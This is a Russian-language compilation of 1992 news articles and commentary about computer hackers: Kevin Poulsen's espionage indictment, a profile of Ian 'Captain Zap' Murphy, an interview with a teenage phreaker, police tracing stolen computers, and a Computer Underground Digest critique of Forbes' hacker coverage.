Но у Поулсена, судя по всему, имелись и другие занятия. Согласно обвинительному заключению Министерства юстиции, в период с 1985 по 1988 год Поулсен, взламывая помещения или используя поддельные удостоверения личности, проникал в несколько офисов телефонных компаний в районе залива с целью хищения оборудования и конфиденциальных кодов доступа, которые позволяли ему прослушивать звонки и изменять записи в компьютерах Pac Bell.

## **Арсенал телефонного оборудования**

Предполагаемая деятельность вышла на свет лишь потому, что Поулсен не заплатил по счёту в складском комплексе Menlo/Atherton Storage Facility. Хозяин срезал навесной замок с одной из ячеек и обнаружил там необычайный арсенал телефонной аппаратуры. Обвинительное заключение, содержащее 19 пунктов и затрагивающее двух подельников Поулсена, включало обвинения в хищении государственного имущества, хранении подслушивающих устройств и поддельных документов.

Один из предполагаемых сообщников Поулсена, Роберт Гиллиган, в прошлом году признал себя виновным по одному обвинению в незаконном получении кодов доступа Pac Bell. По условиям сделки о признании вины Гиллиган получил три года условно, штраф в размере 25 000 долларов и обязался содействовать властям в преследовании Поулсена. Бывший сосед Поулсена по комнате Марк Лоттор до сих пор ожидает суда.

Ключевым вопросом в деле Поулсена является CPX Caber Dragon — кодовое название военных учений на форте Брэгг в Северной Каролине. По версии обвинения, в конце 1987 или начале 1988 года Поулсен незаконно получил засекреченные приказы, связанные с этими учениями. Однако Мельцер настаивает на том, что к моменту изъятия документы уже были рассекречены, а их засекретили повторно задним числом, чтобы преследовать Поулсена. Кроу заявил, что Мельцер излагает факты неверно. «Это всё равно что утверждать, будто мы подставляем Поулсена», — сказал Кроу. — «Хуже обвинения я не могу себе представить».

Другой спорный момент касается обвинения в несанкционированном доступе к государственным компьютерам. Агенты ФБР обнаружили электронную копию экрана приветствия армейской сети MASNET, который видит пользователь при первом подключении; этот экран содержит предупреждение о запрете несанкционированного использования системы. Мельцер утверждает, что Поулсен так и не продвинулся дальше этого компьютерного аналога таблички «Вход воспрещён».

Более того, Мельцер считает данный закон неконституционным, поскольку он недостаточно чётко определяет, является ли само по себе подключение к компьютеру незаконным «доступом».

Мельцер также отрицает, что Поулсен мог прослушивать звонки. Обвинительное заключение вменяет ему в вину незаконное хранение устройства под названием direct access test unit, описанного как «в первую очередь пригодного» для тайного перехвата переговоров. Однако Мельцер приводит руководство по эксплуатации оборудования, из которого следует, что данная система специально предназначена для искажения разговоров, хотя и позволяет телефонным техникам определять, занята ли линия.

Кроу сообщил, что в ближайшее время направит письменные возражения на ходатайства Мельцера. Помимо нового обвинительного заключения, добиться которого он намерен, федеральные прокуроры Лос-Анджелеса, по имеющимся сведениям, расследуют деятельность Поулсена в период его нахождения в бегах. Среди прочего, Поулсен якобы дразнил агентов ФБР на компьютерных досках объявлений, которые посещают хакеры.

## **Телефонные компании обеспокоены**

Преследование Поулсена важно для правительства — и для телефонных компаний, — поскольку их прежние попытки добиться обвинительных приговоров по делам хакеров давали неоднозначные результаты.

Одним из наиболее конфузных провалов стало дело 1990 года: 19-летний студент Университета Миссури Крейг Нейдорф был предан суду по обвинению в тяжком преступлении за публикацию служебного меморандума о системе экстренной связи 911 компании Bell South. Дело рассыпалось, когда защита доказала, что информация телефонной компании, которую обвинение оценивало в 79 940 долларов, была доступна в другой системе Bell за каких-то 13,50 доллара.

Писатель Брюс Стерлинг, чья книга «The Hacker Crackdown» исследует недавние преступления в сфере высоких технологий и наказания за них, считает, что телефонные компании преувеличивают опасность, исходящую от молодых хакеров. С другой стороны, он заметил, что старшеклассник из Торонто в электронном виде вмешался в работу городской системы диспетчеризации экстренных служб и был арестован.

Поскольку на карте стоят системы общественной безопасности, сотрудники правоохранительных органов особенно заинтересованы в том, чтобы добиться обвинительных приговоров и длительных сроков заключения для таких, как Поулсен.

«Правительству очень плохо, когда оно выходит на дело и проигрывает», — сказал один эксперт в области компьютерной безопасности, пожелавший остаться неизвестным. — «Они отчаянно ищут хоть что-нибудь, чтобы его зацепить».

---

## **Хакер-компьютерщик обвинён в краже военных секретов**

*8 декабря 1992 г.*

*По материалам Associated Press*

САН-ФРАНСИСКО. Компьютерный хакер обвинён в краже секретов Военно-воздушных сил, среди которых якобы находился список плановых целей в сценарии гипотетической войны.

Бывший компьютерный гений из Силиконовой долины Кевин Поулсен, которого в начале 1980-х обвиняли в рамках крупного дела о хакерстве, упомянут в обвинительном заключении, содержащем 14 пунктов, вынесенном в понедельник.

Ему и предполагаемому сообщнику уже предъявлены менее тяжкие обвинения — в незаконном использовании устройств телефонного доступа, нелегальном прослушивании и заговоре.

Поулсену, 27 лет, жителю Лос-Анджелеса, грозит от 7 до 10 лет лишения свободы в случае осуждения по новому обвинению в сборе сведений об обороне — вдвое больше, чем ему грозило прежде.

Его адвокат Пол Мельцер утверждает, что информация не имела военного значения и была повторно засекречена государственными чиновниками специально для того, чтобы предъявить

Поулсену более тяжкое обвинение.

Судья должен был вынести решение по ходатайству Мельцера о прекращении дела 1 февраля.

В начале 1980-х Поулсен и другой хакер под псевдонимом Dark Dante были обвинены во взломе компьютерной сети Калифорнийского университета в Лос-Анджелесе — в одном из первых судебных преследований за компьютерный взлом.

Он избежал уголовного преследования, поскольку в то время был несовершеннолетним, и устроился на работу в Sun Microsystems в Маунтин-Вью.

Работая в Sun, Поулсен незаконно получил компьютерную ленту с приказом 1987 года о военных учениях под кодовым названием Caber Dragon 88, говорится в судебных материалах. По словам обвинения, приказ имел гриф секретности и содержал перечень военных целей.

В 1989 году Поулсену и двум другим мужчинам были предъявлены обвинения в хищении кодов телефонного доступа из офиса Pacific Bell, несанкционированном доступе к компьютерам Pacific Bell, получении засекреченных телефонных номеров советского консульства в Сан-Франциско, торговле похищенными кодами телефонного доступа, а также слежке за двумя следователями телефонной компании.

Поулсен оставался на свободе до тех пор, пока телевизионная программа не получила наводку, приведшую к его поимке в апреле 1991 года.

Он и Марк Лоттор, 27 лет, из Менло-Парка должны были предстать перед судом в марте. Третий обвиняемый, Роберт Гиллиган, признал себя виновным и согласился выплатить Pacific Bell 25 000 долларов. По условиям сделки о признании вины он должен дать показания против Лоттора и Поулсена.

---

## **Компьютерный гений из Калифорнии — первый хакер, обвинённый в шпионаже**

*10 декабря 1992 г.*

*Джон Эндерс, Associated Press*

САН-ХОСЕ, Калифорния. 28-летний компьютерный гений, который, по имеющимся сведениям, некогда проверял процедуры безопасности Министерства обороны, стал первым предполагаемым хакером, обвинённым в шпионаже.

Правительство утверждает, что Кевин Ли Поулсен похитил секретные военные материалы и должен быть отправлен за решётку. Его адвокат называет подзащитного «интеллектуально любопытным компьютерным ботаником».

Поулсен из Менло-Парка (Калифорния) в середине 1980-х работал консультантом, тестируя компьютерную безопасность Пентагона. Из-за затяжки с судебным преследованием он провёл 20 месяцев под стражей в тюрьме Сан-Хосе без предъявления обвинений.

Его адвокат Пол Мельцер заявляет, что Поулсен не знал об обладании секретными сведениями. По словам Мельцера, к моменту, когда обвинение утверждает, что Поулсен их получил, военные материалы уже были рассекречены.

«Они пытаются представить его как Юлиуса Розенберга», — заявил Мельцер, имея в виду человека, казнённого в 1953 году за передачу советскому союзу секретов атомной бомбы. — «Это просто смехотворно».

Поулсен был арестован в 1988 году по более мягким, но родственным обвинениям в хакерстве. До предъявления обвинения он скрылся и был повторно задержан в Лос-Анджелесе в апреле 1991 года. По уточнённому обвинительному заключению ему вменялось незаконное хранение секретных государственных материалов.

Помимо этого, Поулсену предъявлены ещё 13 обвинений, в том числе в прослушивании частных телефонных переговоров и хищении оборудования телефонной компании.

В случае осуждения по всем статьям ему грозит до 85 лет лишения свободы и штрафы на общую сумму 3,5 миллиона долларов, сообщил помощник прокурора США Роберт Кроу в Сан-Франциско.

В понедельник (07.12) Поулсен заявил о своей невинности по всем обвинениям. В среду (09.12) он был передан под стражу Маршалов США в Сан-Хосе и содержался в федеральном следственном изоляторе в Плезантоне под Сан-Франциско.

На связь он не выходил, однако в более раннем письме из тюрьмы Поулсен называл обвинения «нелепыми» и говорил, что правительство слишком серьёзно относится к компьютерному хакерству.

Прокурор США Джон А. Мендес заявил в среду (09.12), что Поулсен не подозревается в передаче каких-либо сведений — ни секретных, ни несекретных — иностранной державе, однако его предполагаемая деятельность рассматривается как весьма серьёзная.

«Он уникален. Он — первый компьютерный хакер, обвинённый в таком нарушении — незаконном сборе сведений об обороне», — сказал Мендес.

Помощник прокурора США Роберт Кроу сообщил, что обвинение в шпионаже было предъявлено лишь после согласования с отделом внутренней безопасности Министерства юстиции в Вашингтоне.

Согласно обвинительному заключению, Поулсен:

- Взломал компьютер Pacific Bell Co. и собрал незарегистрированные телефонные номера и списки сотрудников советского консульства в Сан-Франциско.
- Похитил дорогостоящее телефонное коммутационное и иное оборудование.
- Получил досье сотрудников службы безопасности телефонной компании и проверял записи их звонков, чтобы выяснить, ведут ли они за ним слежку.
- Прослушивал телефонные переговоры и электронную почту между следователями телефонной компании и некоторыми из своих знакомых.
- Взломал несекретную военную компьютерную сеть под названием MASNET.
- Получил секретный документ с лётными приказами для военных учений с участием тысяч десантников на базе армии США Форт-Брэгг в Северной Каролине.

Правонарушения предположительно были совершены в период с 1986 по 1988 год.

В 1985 году Поулсена наняли в SRI International — аналитический центр из Пало-Альто (Калифорния), выполняющий военные заказы, в том числе участвовавший в засекреченном эксперименте по проверке компьютерной безопасности Пентагона, согласно опубликованным данным. SRI отказывается комментировать дело.

---

## **Хакер напрокат**

*19 октября 1992 г.*

*Марк Гудман и Эллисон Линн, People, стр. 151*

## **«Реальный "Жулик" Ян Мёрфи берёт в оборот корпоративных шпионов»**

«В наши дни никакой приватности нет», — говорит Ян Мёрфи. — «Представьте, что вы зашли в счета GM или IBM и стёрли их. Можно вызвать экономический коллапс, подбросив вирус, и они даже не узнают». Смейтесь на свой страх и риск, Корпоративная Америка. Captain Zap — под таким именем Мёрфи известен в электронном подполье компьютерных хакеров — утверждает, что нет компьютерной системы, которую он не мог бы взломать, а значит, нет и механической пакости, которую он не мог бы устроить корпорациям или правительствам. И Мёрфи, 35 лет, подтверждает свои слова — пусть и криминальной — биографией.

Слава Мёрфи в его подземном мире настолько велика, что он выступал консультантом на съёмках фильма «Жулики» — кассового хита о банде компьютерных шпионов (Роберт Редфорд, Сидни Пуатье, Дэн Эйкройд), которых заманивают на рискованную тайную операцию, якобы выполняемую по заданию Агентства национальной безопасности.

Мёрфи в восторге от того, как получился фильм. «Это как учебный фильм для хакеров», — говорит он, добавляя, что во многом узнал себя в персонаже Эйкройда — пухлом параноидном фантазёре по кличке Мамаша, который, как и Мёрфи, роется в чужом мусоре в поисках улик. Когда Эйкройд появился на экране весь в мусоре, Мёрфи вспоминает: «Мои друзья повернулись ко мне и сказали: "Вот это ты!"» Если это звучит как мечты задрота, взгляните на послужной список Captain Zap. Один из первых американцев, осуждённых за преступление, связанное с компьютерными взломами, в 1983 году он отделался лишь лёгкой общественной работой, а затем двинулся по полукривому, но не обязательно узкому пути корпоративного шпиона.

Сегодня Мёрфи, 35 лет, — президент IAM Secure Data Systems, консалтинговой группы по вопросам безопасности, основанной им в 1982 году. За гонорар 5 000 долларов в день плюс расходы Мёрфи переодевался сотрудником телефонной компании и взламывал систему безопасности банка, помогал расследованию убийства в рамках судебной защиты наркоторговца и проводил исследование в области борьбы с терроризмом для крупной авиакомпании. Однако его специализация — взлом корпоративных систем безопасности, причём то, что раньше он делал незаконно как хакер-преступник, теперь делает легально, помогая компаниям защититься от подобных вторжений. Большая часть его нынешней работы, по его словам, связана с контрнаблюдением — то есть с выяснением того, не прощупывают ли конкуренты компьютерные системы корпорации в поисках полезной информации. «Это промышленный шпионаж», — говорит Мёрфи, — «и он происходит повсюду».

Своё призвание плаща и кинжала Мёрфи нашёл рано. Он вырос в Гладвейне (Пенсильвания) в пригороде Филадельфии — Мэйн-Лайн, в семье Дэниела Мёрфи, владельца стивидорской компании на пенсии, и его жены Мэри Энн, специалиста по рекламе. «В детстве мне было скучно», — вспоминает Ян. — «По науке я блистал. Всё остальное было отстоем. Социальные навыки — тоже не моё».

Колледж — тоже. Ещё в старшей школе архиепископа Кэрролла Ян начал возиться с компьютерами; после её окончания поступил на флот. В 1975 году он получил досрочный расчёт, когда флот не направил его на радиошколу, как обещал, и вернулся домой, чтобы взломать с несколькими приятелями. В расцвете сил, по его словам, он взламывал компьютеры Белого дома и Пентагона. «В Пентагоне», — рассказывает он, — «мы резвились в ракетном отделе, узнавали о новых игрушках, которые они разрабатывали, и пытались испортить их данные. Ни один из наших взломов не имел серьёзных последствий, но он здорово их встряхнул, потому что они все заявляли, что это невозможно».

Серьёзные последствия пришли позже. Мёрфи со товарищами создали подставные корпорации с наивысшим кредитным рейтингом и заказали компьютерное оборудование на тысячи долларов. Два года спустя власти постучались в дверь Мёрфи. Его мать вежливо выслушала обвинения, а затем искренне ответила: «Вы обратились не по адресу. Он ничего не знает о компьютерах».

Ну да. В 1982 году Мёрфи был арестован и осуждён за получение краденого имущества. Но поскольку федерального закона о компьютерных преступлениях тогда ещё не существовало, он отделался тяжким преступлением третьей степени. Его оштрафовали на 1 000 долларов, обязали отработать 1 000 часов общественных работ (он работал в приюте для бездомных) и поставили на испытательный срок на 2,5 года. «Я легко отделался», — признаёт он.

Слишком легко — по меркам его собственной матери. В прошлом президент Республиканских женщин Мэйн-Лайн, Мэри Энн разыскала своего конгрессмена Ларри Коглина и задала ему вопрос: «Как бы вам понравилось, если бы на следующих выборах какой-нибудь молодой человек решил изменить все ваши файлы?» Коглина это не понравилось, и в 1983 году он поднял этот вопрос на заседании Конгресса. На следующий год Конгресс принял федеральный закон о компьютерных преступлениях, признав незаконным использование компьютера способом, не разрешённым его владельцем.

Тем временем Мёрфи, разведённый в 1977 году после недолгого брака, в 1982 году женился на Кэрол Адриенне, документальном кинорежиссёре. Брак, судя по всему, пошёл Мёрфи на пользу, и он основал свою компанию — сейчас её штат насчитывает 12 человек, в том числе специалист по взрывчатке и эксперт по захвату заложников. Контрнаблюдение оказалось прибыльным (он зарабатывает более 250 000 долларов в год и переезжает из родительского дома), но почти не оставило ему времени на развитие социальных навыков — да и, по правде говоря, здоровья. При росте 167 см и весе 82 кг, в джинсах, кроссовках и бейсболке Мёрфи выглядит как голливудское воплощение самого себя. С 1986 года он перенёс четыре инфаркта, однако неисправимо продолжает выкуривать пачку сигарет в день и пить виски задолго до того, как солнце клонится к горизонту.

В апреле 1991 года, после 10 лет брака, он и Кэрол развелись. «У неё появились принципы, и ей не нравилась моя работа», — говорит он. Нынче Мёрфи встречается — но лишь после того, как тщательно «проверяет» тех, с кем собирается выйти на свидание. «Я хочу знать, с кем имею дело, потому что это могут быть подсадные», — объясняет он. — «Секретная служба играет в игры с хакерами».

Кодекс чести Мёрфи при этом сохраняется. По его словам, он работает на корпорации, помогая снизить уровень корпоративных преступлений, но не помогает собирать доказательства для преследования хакеров-коллег. Его образ изгоя требует оставаться в тени. Реджинальд Бранэм, 23 года, президент Cyberlock Consulting, совместно с которым Мёрфи недавно разработал комплексную антивирусную систему, говорит: «Я предпочитаю не брать Яна на встречи с генеральными директорами. Они послушают его и скажут: "Этот парень нас уничтожит"». И всё же Captain Zap при всех своих заблуждениях обладает определённым своеобразным обаянием. «Я как Дарт Вейдер в компьютерном мире», — настаивает он. — «В конце концов оказывается, что я хороший».

*(Фото 1 — Ян Мёрфи)*

*(Фото 2 — Ривер Феникс, Роберт Редфорд, Дэн Эйкройд и Сидни Пуатье)*

*(Фото 3 — Мэри Энн Мёрфи, мать Яна)*

---

## **Болтовня с хаком**

*Август 1992 г.*

*Барбара Херман, Teleconnect, стр. 60*

**«Фрикинг ради удовольствия, прибыли и политики»**

Эд — умный, красноречивый 18-летний парень. Ещё он хакер, самопровозглашённый «фрик» — термин, возникший в субкультуре обычно молодых компьютерных вундеркиндов из среднего класса.

Я позвонила ему на его любимую телефонную будку.

Хотя он объяснил, как именно взламывает и в каких взломах участвует, меня особенно интересовало, зачем он это делает.

Прежде всего Эд хотел прояснить: он не считает себя «профессионалом», занимающимся этим ради денег. Он неоднократно подчёркивал, что «хакерство — это не только действие, это состояние ума».

У фриков даже есть аббревиатурный девиз, намекающий на их раздутое самомнение. PHAC. Он описывает то, чем они занимаются: «phreaking» (фрикинг), «hacking» (хакинг), «anarchy» (анархия) и «carding» (кардинг). Иными словами, они проникают в системы через телекоммуникационную сеть (фрикинг), получают доступ (хакинг), нарушают работу систем (политическая анархия) и пользуются чужими звонковыми и кредитными картами в личных целях.

На протяжении всего разговора Эд не выказывал никаких угрызений совести. Напротив, он с презрением относился к тем, кого взламывал. Компании «тупые», потому что их системы так легко взломать. Так им и надо.

Как будто они должны были благодарить его за снисхождение, он предложил мне представить, что случилось бы, если бы он по-настоящему взломал систему одной железнодорожной компании (он всего лишь оставил предупредительную записку), изменив расписание и вызвав столкновение поездов.

Он питал глубокое презрение и к «системе», под которой, судя по всему, подразумевал крупный бизнес (особую желчь он питал к AT&T), правительство, ФБР — известное в кругах фриков как «гестапо», — и секретную службу, «интеллект которой соответствует тому, чем их сотрудники должны были бы заниматься на самом деле, — работать заправщиками на станциях».

По его убеждению, никто по-настоящему не несёт финансовых потерь от мошенничества с удалённым доступом к платным услугам.

Операторов, по его мнению, злит не реальная потеря денег, а потеря гипотетических денег — тех, что они могли бы взять за бесплатные звонки, которые совершают хакеры; а звонки, считает он, и без того стоят слишком дорого.

Он также убеждён (ошибочно), что компании, как правило, не оплачивают счёт за бесплатные звонки, наделанные хакерами в их телефонных системах. «И потом, если многомиллионной корпорации придётся платить — мне их точно не жалко».

Да, странный парень. Но помимо его перекошенной этики, в нём куча противоречий.

Он презирает компании, которые не могут его остановить, хотя сам с пафосом предупреждает их, чтобы они старались.

Он отвергает моё предположение о том, что за всё расплачивается «маленький человек», а не оператор. Но тут же говорит, что AT&T дерёт с них деньги за «жизненно важное» право общаться друг с другом.

Он также противоречит своей позиции защитника слабых, называя железнодорожную компанию «тупой» за недостаточную осторожность при работе с информацией.

Возможно, железнодорожная компания — не «маленький человек», но оскорблений, которыми засыпал её Эд, она явно не заслуживает. Когда я упомянула, что нью-йоркская больница лишилась 100 000 долларов из-за хакеров, он защитил их, сославшись на то, что врачи легко зарабатывают 100 000 долларов в год. С каких пор врачи платят больничные телефонные счета?

Рационализировать Эд умеет мастерски. Свои преступления он возводит в ранг политических заявлений, умаляя их серьёзность, а затем в том же духе, например, рассуждает о получении инсайдерской информации о фондовом рынке и инвестировании, когда знаешь, как идут акции. Он признался мне, что понимает: это морально неправильно, — но призвал изучить это общество, которое «верит в деньги любой ценой. Это не моральное общество».

Как ни удивительно, хакерское сообщество, к которому принадлежит Эд, — если позволить себе использовать его как ненаучного представителя всего сообщества, — не менее запутано в противоречиях капитализма, что и «система», которую они якобы ненавидят. По сути, они, пожалуй, даже более обмануты и лицемерны, поскольку занимают политическую позицию, а не признают свои преступления тем, чем они являются. Как Эд или кто-либо другой из «фрикерского» сообщества может всерьёз заявлять, что выступает против большого бизнеса и злого капитализма, когда они воруют номера чужих кредитных и переговорных карт и используют их в собственных целях?

Разговор пошёл на убыль, когда Эд принялся восторженно живописать участь хакера-мученика, которого после поимки, или «задержания», несправедливо заклеивают навсегда.

Однажды федералы поймали его друга за взломом идентификационных кодов, обыскали его дом силами нескольких телефонных компаний и полиции и изъяли компьютер. Несмотря на то что обвинения так и не были предъявлены, Эд возмущался: «Это несправедливо».

Верно, фрикер. Его следовало посадить в тюрьму.

---

## **Компьютерный хакер на стороне закона**

*23 сентября 1992 г.*

*Шелби Грэд, Los Angeles Times, стр. B3*

КОСТА-МЕСА, Калифорния. Официальная должность Филипа Беттенкура — руководитель фотолаборатории полицейского управления Коста-Месы. Но во вторник днём он исполнял обязанности официального компьютерного хакера отдела.

Беттенкур, азартно барабанил по клавишам под взглядами других офицеров, был полон решимости обнаружить в огромной памяти похищенного компьютера сведения, которые связали бы машину с её владельцем.

К тому моменту он нашёл соответствия для 24 из 26 компьютеров, изъятых ранее в этом месяце в рамках расследования краж офисного оборудования, охватившего весь округ. Этот будет двадцать пятым.

Для начала он проверил оглавление жёсткого диска в поисках текстового редактора, который мог бы содержать типовое письмо или шапку факса с именем, адресом или номером телефона владельца.

Когда это не дало результата, он залез в бухгалтерскую программу и стал искать подсказки в меню кредиторской задолженности.

«Есть!» — крикнул Беттенкур несколько минут спустя. Он нашёл номер счёта-фактуры цементной компании из Фаунтин-Вэлли, который мог раскрыть личность владельца. Секунды спустя обнаружился номер банковской кредитной карты владельца.

И менее чем минуту спустя Беттенкур сорвал джек-пот: название строительной компании из Санта-Аны, которую, как выяснилось при звонке, действительно недавно ограбили.



«Это здорово», — сказал Беттенкур, интересующийся компьютерами почти два десятилетия — с тех пор как Radio Shack выпустила свою первую модель. — «Я люблю это делать. Это хакерство, но в хорошем смысле — не пытаюсь навредить кому-то. Это помощь людям».

Мало кто из владельцев компьютеров, воссоединившихся со своей техникой, стал бы с этим спорить. Когда полиция Коста-Месы изъяла компьютеры, факсы, телефоны и другую офисную технику на сумму 250 000 долларов, следователи столкнулись с непростой задачей: соотнести машины, на которых почти нет опознавательных знаков, с их владельцами, сообщил следователь Боб Фейт.

Тут и появился Беттенкур, который стал залезать на жёсткие диски компьютеров в поисках документов, которые указали бы, у кого были похищены машины.

К вторнику всё оборудование, кроме техники на 50 000 долларов, было возвращено владельцам. Следователи посоветовали всем, кто недавно лишился офисного оборудования, позвонить в отделение — возможно, часть найденного принадлежит им.

По иронии судьбы, предполагаемые похитители сами себя подставили, не стерев данные с компьютеров перед их перепродажей, сообщили представители власти. Студент колледжа, купивший один из краденых компьютеров, обнаружил данные прежнего владельца и связался с ним. Затем была вызвана полиция, и была организована контрольная «покупка», в ходе которой несколько подозреваемых были задержаны, рассказал Фейт.

15 сентября были арестованы три человека; им предъявили обвинение в получении и хранении краденого имущества. Поиск взломщиков продолжается.

Офисная техника была изъята из квартиры и складского помещения в Санта-Ане.

До заката во вторник Беттенкур установил владельца последнего похищенного компьютера.

---

## **Премия CuD «За медиа-хайп 1992 года» достаётся Forbes Magazine**

*Джим Томас, Computer Underground Digest*

В последние годы изображение «хакеров» в СМИ критикуют за неточные и предвзятые материалы, преувеличивающие общественную опасность страшной «хакерской угрозы». В связи с этим CuD ежегодно отмечает наиболее вопиющий пример медиа-хайпа уходящего года.

Ежегодная премия CuD имени Херальдо Риверы «За медиа-хайп 1992 года» присуждается **Уильяму Г. Фланагану и Бриджид Макменаминам** за статью «Хулиганы с детской площадки учатся печатать» в номере Forbes от 21 декабря (стр. 184–189). Авторы превзошли прошлогоднего победителя — самого Херальдо — в разжигательной риторике и искажённом повествовании, более уместном в каком-нибудь скандальном шоу в сезон рейтингов, нежели в серьёзном консервативном журнале.

Статья Forbes безоговорочно побеждает по двум причинам. Во-первых, один из её авторов, Бриджид Макменамина, с исключительным успехом создал себе репутацию бестолкового и неприятного человека. Во-вторых, сама статья основана на порочной логике, слухах и впечатляющих скачках умозаключений.

### **Журналистка: Бриджид Макменамина**

Заслуживает осуждения не только грубые ошибки, преувеличения и безответственные искажения в статье, но и то, как журналистка Forbes Бриджид Макменамина пыталась себя продать, чтобы

выудить информацию.

Один человек, с которым она связалась, утверждал, что она звонила ему несколько раз, «пристая» за информацией, выпрашивая имена и жалуясь на то, что «хакеры» не перезванивают. По его словам, она прямо заявила, что её интересует исключительно «незаконная сторона» и «криминальный аспект», и была равнодушна к фактам и вопросам, не касающимся хакеров-преступников.

Некоторые присутствовавшие на ноябрьской встрече 2600 в Citicorp, которую она посетила, высказывали предположение, что она использовала другого журналиста как реквизит для обеспечения доверия, проследовала за некоторыми участниками в ресторан после встречи и интересовалась разговором исключительно о незаконных действиях. Один из наблюдателей заметил, что те, кто был готов с ней говорить, вероятно, не были самыми надёжными источниками. Возможно, именно этим объясняется её своеобразная лексика при описании встречи 2600.

Другой её собеседник рассказал, что она позвонила ему в поисках людей, с которыми можно поговорить, и утверждала, что Forbes — деловой журнал — публикует только «правду». Однако, судя по всему, её интересовала не «правда», а поиск «доказательств» в подтверждение готовой версии. По его словам, он пытался объяснить, что хакеры в целом интересуются Unix, а она спросила, сможет ли она бесплатно звонить, если знает Unix. Хотя журналистка несколько раз заявляла мне, что добросовестно подготовилась, мой собственный разговор с ней противоречил её словам, а если рассказы других точны, её претензии на подготовленность кажутся тревожно преувеличенными.

У меня тоже состоялся весьма неприятный обмен репликами с г-жой Макменагин. Она была груба, агрессивна и добивалась имён «хакеров», работавших на преступников или в качестве преступников. Её «угол» был явно хакер-как-демон. Вопросы свидетельствовали о том, что она не понимает культуры, о которой пишет. Она задавала вопросы и затем спорила с ответами, отвергая любые «факты» или ответы, не касавшиеся «хакера-преступника». Она упомянула Эммануэля Голдштейна так, словно у них были более тесные отношения, чем на самом деле, — брошенная фраза, не лишённая значения, — что я впоследствии расценил либо как непреднамеренно вводящий в заблуждение выбор слов, либо как намеренную попытку обманным путём заявить о своих связях. Она называла себя убеждённой гражданской либертарианкой. Я спросил, почему тогда она не затрагивает эти вопросы. Она сослалась на давление издателя. Forbes — деловой журнал, сказала она, и материал должен быть интересен читателям. По её словам, гражданские свободы не связаны с «бизнесом». Она производила впечатление исключительно неосведомлённого и не особенно умелого в сборе информации человека. Кроме того, она оставила пост на Mindvox с приглашением к «хакерам», к которым обращались «преступники» с предложением услуг, связаться с ней.

```
>Post: 150 of 161
>Subject: Hacking for Profit?
>From: forbes (Forbes Reporter)
>Date: Tue, 17 Nov 92 13:17:34 EST
>
>Hacking for Profit? Has anyone ever offered to pay you (or
>a friend) to get into a certain system and alter, destroy or
>retrieve information? Can you earn money hacking credit
>card numbers, access codes or other information? Do you know
>where to sell it? Then I'd like to hear from you. I'm
>doing research for a magazine article. We don't need you
>name. But I do want to hear your story. Please contact me
>Forbes@mindvox.phantom.com.
```

Впрочем, судя по всему, своему посту или конференциям Mindvox она уделяла мало внимания. Когда я наконец согласился выслать ей информацию о CuD, она настояла на том, чтобы её прислали по факсу, а не на Mindvox, поскольку там она почти не бывает. Логи показывают, что она обращалась к доске лишь шесть раз, и ни разу — после 24 ноября.

Мой личный опыт общения с репортёром Forbes совпал с опытом других. Она делала упор на «правде» и «проверщиках фактов», однако в статье и того и другого явно не хватает. Она явно заявляла, что её материал *не* будет сенсационалистским. Она намекала, что хочет сосредоточиться на преступниках и что статья позволит провести различие между «хакерами» и настоящими преступниками. Один из её других контактов, судя по всему, сложил такое же впечатление. После нашего не слишком любезного разговора она сообщила о нём этому контакту, и тот попытался вступить за неё в убеждении, что её цель — развенчать многие медийные неточности о «хакерстве». Если его трактовка верна, то она обманула и его, поскольку изображение его в статье было неблагоприятно искажённым.

В CuD 4.45 (Файл №3) мы публиковали статью Майка Годвина «Как разговаривать с прессой», которая должна быть обязательным чтением. Его рекомендации включали:

- 1) ПОПЫТАЙТЕСЬ ДУМАТЬ КАК ЖУРНАЛИСТ, С КОТОРЫМ ВЫ РАЗГОВАРИВАЕТЕ.
- 2) ЕСЛИ ВЫ СОБИРАЕТЕСЬ ВСТРЕТИТЬСЯ С РЕПОРТЁРОМ ЛИЧНО, ПОПЫТАЙТЕСЬ ПРИНЕСТИ ЧТО-НИБУДЬ НА БУМАГЕ.
- 3) ПО ВОЗМОЖНОСТИ ДАЙТЕ РЕПОРТЁРУ ДРУГИХ ЛЮДЕЙ ДЛЯ РАЗГОВОРА.
- 4) НЕ ПРЕДПОЛАГАЙТЕ, ЧТО РЕПОРТЁР ОСВЕТИТ ИСТОРИЮ ТАК, КАК ВАМ БЫ ХОТЕЛОСЬ.

Другие опытные наблюдатели утверждают, что обсуждать «хакерство» с прессой следует избегать, если вы не знаете журналиста лично или если он не зарекомендовал себя как точный и несенсационалистский. Исходя из этих критериев, пройдёт немало времени, прежде чем какой-нибудь компетентный кибернавт снова заговорит с Бриджид Макменагин.

## Статья

Вместо того чтобы изложить связный и достоверный материал о видах компьютерных преступлений, авторы делают «хакеров» главным объектом и используют повествовательную стратегию, смешивающую все компьютерные преступления с «хакерами».

Статья намекает на причастность Лена Роуза к кругам «хакерской шпаны». В лиде рассказывается о тюремном опыте Роуза и его ощущении, что из него «сделали пример» федеральные прокуроры. Но, спрашивает повествование, если это так, то почему правительство ужесточает преследование? Что бы ни думали о Лене Роузе, никто никогда не намекал, что он «хулиган с детской площадки» или «хакерский ублюдок». В статье также утверждается, что редактор журнала 2600 Эммануэль Голдштейн «бесплатно раздаёт копии детям. Потом их арестовывают» (стр. 188 — цитата приписана Дону Делани), и искажаются (или фабрикуются) факты под нужный угол:

*По данным одного осведомлённого источника, другой хакер хвастается, что недавно нашёл способ проникнуть в компьютеры Citibank. Три месяца он тихо снимал с каждого счёта по несколько центов. Накопив 200 000 долларов, он остановился. Citibank заявляет, что не располагает свидетельствами данного инцидента, и мы не можем подтвердить историю хакера. Но, говорит эксперт по компьютерным преступлениям Донн Паркер из консультантов SRI International: «Такая "атака салями" определённо возможна, особенно для инсайдера» (стр. 186).*

Кто-нибудь подсчитал, со скольких счетов нужно «снять» по несколько центов, чтобы получить 200 000 долларов? По гривеннику с аккаунта — это более 2 миллионов. Если я правильно считаю, при темпе одна минута на аккаунт, 60 аккаунтов в минуту без остановки, 24 часа в сутки весь год, постороннему на это потребовалось бы почти 4 года непрерывной работы онлайн. По версии статьи, это заняло всего 3 месяца. По двадцать центов с аккаунта — это более миллиона аккаунтов.

Хотя ни имён, ни доказательств не приводится, статья цитирует Донна Паркера из SRI, который называет историю «вполне возможной». На протяжении многих лет случаи скимминга

действительно имели место, но, насколько я помню различные эпизоды, все они были делом рук инсайдеров, и мало кто из них, если вообще кто-то, имел отношение к хакерам. История подозрительно напоминает печально известную статью о «взломе банка», опубликованную в Phrack несколько лет назад как мистификация.

